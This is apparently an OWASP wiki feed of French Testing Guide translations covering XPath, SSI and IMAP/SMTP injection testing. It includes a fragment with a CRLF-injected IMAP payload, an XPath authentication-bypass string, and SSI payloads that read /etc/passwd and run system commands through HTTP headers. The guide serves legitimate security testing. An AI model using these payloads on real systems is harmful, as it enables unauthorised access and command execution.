Header = 4791 BODY[HEADER]&lt;br /&gt;
Body   = %0d%0aV100 CAPABILITY%0d%0a&lt;br /&gt;
Footer = V101 FETCH 4791 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Resultat attendu:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Injection de commandes IMAP/SMTP arbitraires&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 0821 “Simple Mail Transfer Protocol”.&lt;br /&gt;
* RFC 3501 “Internet Message Access Protocol - Version 4rev1”.&lt;br /&gt;
* Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers&amp;quot; - &amp;lt;u&amp;gt;http://www.webappsec.org/projects/articles/121106.pdf&amp;lt;/u&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187914</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187914"/>
				<updated>2015-01-12T17:47:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.10_Tester_les_injections_XPath_(OTG-INPVAL-010)&amp;diff=187908</id>
		<title>4.8.10 Tester les injections XPath (OTG-INPVAL-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.10_Tester_les_injections_XPath_(OTG-INPVAL-010)&amp;diff=187908"/>
				<updated>2015-01-12T15:49:07Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == XPath est un langage conçu et développé à l'origine pour accéder à des parties d'un document XML. Lors des tests d'in...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
XPath est un langage conçu et développé à l'origine pour accéder à des parties d'un document XML. Lors des tests d'injection XPath, on vérifie s'il est possible d'injecter de la syntaxe XPath dans une requête qui sera interprêtée par l'application, permettant l'attaquant d'exécuter des requêtes XPath contrôlées par l'utilisateur. Exploitée avec succès, cette vulnérabilité peut permettre à l'attaquant de contourner les mécanismes d'authentification ou d'accéder à des informations sans autorisation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les applications utilise largement des bases de données pour stocker et consulter les données dont elles ont besoins pour leurs opérations. Historiquement, les bases de données relationnelles étaient la technologie la plus commune, mais ces dernières années, on observe une popularité croissante des bases de données utilisant le langage XML. De la même manière qu'on accède aux bases relationnelles avec le langage SQL, on accède aux bases XML en utilisant XPath comme langage de requête standard.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'un point de vue conceptuel, XPath est très similaire à SQL dans son objectif et ses applications, les attaques par injection XPath suivent donc la même logique que les attaques par injection SQL. Par certains aspects, XPath est même plus puissant que SQL, cat toute sa puissance est déjà présente dans ses spécifications, alors qu'une large part des techniques utilisées pour les attaques par injection SQL dépendent des caractéristiques du dialecte SQL utilisé par la base cible. Cela signifie que les attaques par injection Xpath sont beaucoup plus adaptable et omniprésentes. Un autre avantage des attaques par injection XPath est que, contrairement à SQL, aucune ACL n'est vérifiée, puisque notre requête peut accéder à l'ensemble du document XML.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
Le schéma des attaques XPath a été publié initialement par Amit Klein [1] et est très similaire aux injections SQL usuelles. Pour avoir un premier aperçu du problème, imaginons une page de connexion gérant l'authentification à une application dans laquelle l'utilisateur doit entrer son identifiant et son mot de passe. Considérons que notre base de données est représentée par le fichier XML suivant :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;admin&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La requête XPath suivante renvoie le compte dont l'identifiant est &amp;quot;gandalf&amp;quot; et le mot de passe est &amp;quot;!c3&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'applciation ne filtre pas correctement les entrées utilisateur, le testeur pourra injecccccter du code XPath et interférer avec le résultat de la requête. Par exemple, en entrant les valeurs suivantes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: ' or '1' = '1 &lt;br /&gt;
Password: ' or '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela ressemble à quelque chose de connu, n'est-ce pas ? Avec ces paramètres, la requête devient :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme dans une attaque par injection SQL, nous avons créé une requête qui renvoie toujours vrai, ce qui signifie que l'application va authentifier l'utilisateur même si aucun identifiant ou mot de passe n'a été fourni. Comme dans le cas des injections SQL, la première étape d'une injection XPath est d'insérer une simple quote (') dans le champ à tester, causant une erreur de syntaxe dans la requête, et de vérifier si l'application retourne un message d'erreur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'on a pas connaissance des détails des données XML et si l'application de fournie pas de messages d'erreurs utiles pour nous aider à découvrir sa logique interne, il est possible de procéder à des attaques par injection XPath en aveugle ([[Blind XPath Injection]]), dont le but est de reconstituer la structure de données complète. Cette technique est similaire aux injection SQL inférentielles, puisque l'approche est d'injecter du code créant une requête qui va renvoyer un bit d'information. Les [[Blind XPath Injection]] sont expliquée plus en détails par Amit Klein dans les référence en base de page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Amit Klein: &amp;quot;Blind XPath Injection&amp;quot; - http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf&lt;br /&gt;
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187907</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187907"/>
				<updated>2015-01-12T15:48:41Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.9_Tester_les_injections_SSI_(OTG-INPVAL-009)&amp;diff=187905</id>
		<title>4.8.9 Tester les injections SSI (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.9_Tester_les_injections_SSI_(OTG-INPVAL-009)&amp;diff=187905"/>
				<updated>2015-01-12T15:14:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}   == Sommaire == Les serveur web donnent souvent aux développeurs la possibilité d'ajouter de petites parties de code dynamique dans une...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Les serveur web donnent souvent aux développeurs la possibilité d'ajouter de petites parties de code dynamique dans une page HTML statique, sans avoir à manipuler un langage complet côté serveur ni côté client. Cette fonctionnalité s'appelle '''[[Server-Side Includes %28SSI%29 Injection|Server-Side Includes]]''' ('''SSI'''). Pour tester les injections SSI, nous allons voir s'il est possible d'injecter dans l'application des données qui seront interprêtées par les mécanismes SSI. Une exploitation réussie permettra à un attaquant d'injecter du code dans les pages HTML et même d'exécuter du code à distance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les Server-Side Includes sont des directives que le serveur web analyse avant de servir la page à l'utilisateur. Ils sont une alternative à l'écriture de programmes CGI ou de code embarqué utilisant des langages de script côté serveur, pour des tâches très simples. Les implémentations SSI communes fournissent des commandes pour inclure des fichiers externes, affecter ou afficher des variables d'environnement CGI, et pour exécuter des scripts CGI ou des commandes systèmes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insérer une directive SSI dans un document HTML statique est aussi simple que le code suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour afficher la date et heur actuelle.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour inclure la sortie d'un script CGI.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour inclure le contenu d'un fichier ou d'une liste de fichiers dans un répertoire.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour inclure la sortie d'une commande système.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, si le support SSI est activé sur le serveur web, ce dernier va analyser ces directives. Généralement, dans la configuration par défaut de la plupart des serveurs web, l'utilisation de la directive '''''exec''''' pour exécuter des commandes systèmes n'est pas autorisée.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme dans tous les cas de mauvaise validation d'entrées, les problèmes surviennent quand l'utilisateur d'une application web est autorisé à fournir des données qui vont provoquer un comportement inattendu de l'application ou du serveur web. Dans le cas des SSI, l'attaquant peut fournir une entrée qui, si elle est insérée dans une page générée dynamiquement par l'application (ou directement par le serveur), sera interprêtée comme une ou plusieurs directives SSI.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cettte vulnérabilité est très similaire à une vulnérabilité classique d'injection dans un langage de script. Elle peut être mitigée par le fait qu'elle nécessite que le serveur web soit configuré pour autoriser SSI. Par contre, les vulnérabilités d'injection SSI sont souvent plus simples à exploiter, puisque les directives SSI sont simples à comprendre, et en même temps très puissantes, par exemple pour afficher le contenu de fichiers et pour exécuter des commandes systèmes.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
&lt;br /&gt;
La première chose à faire dans un test en boite noire, est de vérifier si le serveur web supporte réellement les directives SSI. Souvent la réponse est oui, puisque le support des SSI est très fréquent. Pour le découvrir, il suffit de détecter quel type de serveur web tourne sur la cible, en utilisant les techniques de reconnaissance classiques&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Que l'on réussisse ou non à découvrir cette information, on peut deviner si les SSI sont supportées simplement en regardant le conteu du site web ciblé. S'il contient des fichiers '''''.shtml''''', alors les SSI sont probablement supportées, puisque cette extension est utilisée pour identifier les pages contenant ces directives. Malheureusement, l'utilisation de l'extension '''''.shtml''''' n'est pas obligatoire, donc l'absence de tels fichiers ne signifie pas forcément que la cible n'est pas vulnérable aux attaques par injection SSI.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à déterminer si une injection SSI est vraiment possible et, si oui, quels sont les points d'entrées que l'on peut utiliser pour injecter du code malicieux.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les actions nécessaires à ces tests sont exactement les même que pour les autres vulnérabilités d'injection de code. Notamment, il faut vérifier chaque page acceptant des entrées utilisateur, et vérifier que l'application valide ces entrées correctement. Si le nettoyage est insuffisant, on doit tester si l'on peut fournir des données qui seront affichées sans mofdification (par exemple, dans un message d'erreur ou dans un forum). En plus des entrées utilisateur, il faut aussi prendre en compte les vecteurs d'entrée comme les entêtes de requêtes HTTP et le contenu des cookies, qui peuvent facilement être manipulés.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois qu'lon a une liste des points d'injection potentiels, on peut vérifier si les entrées sont validées correctement, et trouver où elles sont stockées. On doit s'assurer que l'on peut injecter des caractères utilisés dans des directives SSI :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour tester si la validation est insuffisante, on peut entrer, par exemple, une chaîne comme celle-ci dans un formulaire :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ceci est similaire à un test de vulnérabilité XSS :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'application est vulnérable, la directive est injectée et sera interprêtée par le serveur lors du prochain affichage de la page, ainsi le contenu du fichier standard de mots de passe Unix sera inséré dans la page.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'injection peut aussi être faite dans les entêtes HTTP, si l'application web utilise ces données pour construire une page dynamique :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#include virtual=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
&lt;br /&gt;
Si l'on a accès au code source de l'application, on peut facilement vérifier :&amp;lt;br&amp;gt;&lt;br /&gt;
# Si les directives SSI sont utilisées. Si elles le sont, alors le support des SSI est activé dans le serveur web, rendant ainsi les injections SSI au moins potentiellement possible, et donc à investiguer.&amp;lt;br&amp;gt;&lt;br /&gt;
# Où les entrées utilisateur, le contenu des cookies et les entêtes HTTP sont traités. La liste complète des vecteurs d'entrée est ainsi rapidement déterminée.&amp;lt;br&amp;gt;&lt;br /&gt;
# Comment les entrées sont traitées, wuel type de filtrage est en place, quels caractères l'application ne laisse pas passer, et combien de types d'encodages sont pris en compte.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Effectuer ces étapes est surtout une question d'utilisation de grep pour trouver les bons mots clefs dans le code source (directives SSI, variables d'environnement CGI, affectation de variables impliquant des entrées utilisateur, fonctions de filtrage, etc.).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* [[OWASP WebScarab Project|WebScarab]]&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187904</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187904"/>
				<updated>2015-01-12T15:13:46Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
